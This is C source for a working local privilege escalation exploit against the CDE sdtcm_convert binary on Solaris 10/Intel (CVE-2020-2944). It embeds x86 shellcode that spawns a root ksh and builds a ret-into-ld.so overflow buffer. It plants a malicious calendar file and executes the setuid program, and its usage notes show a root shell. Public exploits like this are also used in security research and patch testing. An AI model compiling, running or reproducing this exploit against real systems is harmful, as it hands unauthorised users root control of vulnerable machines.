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/*
* raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
* Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* A buffer overflow in the _SanityCheck() function in the Common Desktop
* Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
* earlier allows local users to gain root privileges via a long calendar name
* or calendar owner passed to sdtcm_convert in a malicious calendar file
* (CVE-2020-2944).
*
* The open source version of CDE (based on the CDE 2.x codebase) is not
* affected, because it does not ship the vulnerable binary.
*
* "CDE, the gift that keeps on giving" -- @0xdea
* "Feels more like a curse you can't break from this side." -- @alanc
*
* This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
* protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
* space, try returning to sprintf() instead of strcpy().
*
* I haven't written a Solaris/SPARC version because I don't have a SPARC box
* on which Solaris 10 can run. If anybody is kind enough to give me access to
* such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
*
* Usage:
* $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
* $ ./raptor_sdtcm_conv
* [...]
* Do you want to correct it? (Y/N) [Y] n
* # id
* uid=0(root) gid=1(other) egid=12(daemon)
* #
*
* This should work with any common configuration on the first try. To
* re-enable rpc.cmsd, clear its service maintenance status by running the
* following commands as root:
* # /usr/sbin/svcadm clear cde-calendar-manager
* # /usr/bin/svcs -a | grep calendar
* online 13:16:54 svc:/network/rpc/cde-calendar-manager:default
*
* Tested on:
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
* [previous Solaris versions are also likely vulnerable]
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>
#define INFO1 "raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel"
#define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/sdtcm_convert" // the vulnerable program
#define ADMIN "/usr/dt/bin/sdtcm_admin" // calendar admin utility
#define BUFSIZE 2304 // size of the name/owner
#define PAYSIZE 1024 // size of the payload
#define OFFSET env_len / 2 // offset to the shellcode
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], payload[PAYSIZE];
char platform[256], release[256], hostname[256];
int i, payaddr;
char *arg[3] = {"foo", "hax0r", NULL};
int sb = ((int)argv[0] | 0xfff); /* stack base */
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem(); /* rwx memory */
char cmd[1024];
FILE *fp;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 1) {
fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]);
fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n");
exit(1);
}
/* get system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);
/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
memset(payload, '\x90', PAYSIZE);
payload[PAYSIZE - 1] = 0x0;
memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));
/* fill the envp, keeping padding */
add_env(payload);
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the payload address */
payaddr = sb - OFFSET;
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
/* fill with function address in ld.so.1, saved eip, and arguments */
for (i = 0; i < BUFSIZE - 16; i += 4) {
set_val(buf, i, ret); /* strcpy */
set_val(buf, i += 4, rwx_mem); /* saved eip */
set_val(buf, i += 4, rwx_mem); /* 1st argument */
set_val(buf, i += 4, payaddr); /* 2nd argument */
}
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* create the evil calendar file */
fprintf(stderr, "Preparing the evil calendar file... ");
snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname);
if (system(cmd) == -1) {
perror("Error creating calendar file");
exit(1);
}
if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) {
perror("Error creating calendar file");
exit(1);
}
/* prepare the evil calendar file (badchars currently not handled) */
fp = fopen("/usr/spool/calendar/callog.hax0r", "w");
if (!fp) {
perror("Error preparing calendar file");
exit(1);
}
fprintf(fp, "Version: 4\n(calendarattributes "
"(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\","
"\"10:access_list\",\"world:2\")\n");
/* buffer overflow in calendar name */
fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
"\"5:string\",\"%s\")\n", buf);
fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
"\"6:user\",\"fnord\")\n)");
/* buffer overflow in calendar owner */
/*
fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
"\"5:string\",\"hax0r\")\n");
fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
"\"6:user\",\"%s\")\n)", buf);
*/
fclose(fp);
fprintf(stderr, "Done.\n");
/* run the vulnerable program */
fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n");
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "Sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "Can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
/*
* set_val(): copy a dword inside a buffer (little endian)
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0x000000ff);
buf[pos + 1] = (val & 0x0000ff00) >> 8;
buf[pos + 2] = (val & 0x00ff0000) >> 16;
buf[pos + 3] = (val & 0xff000000) >> 24;
}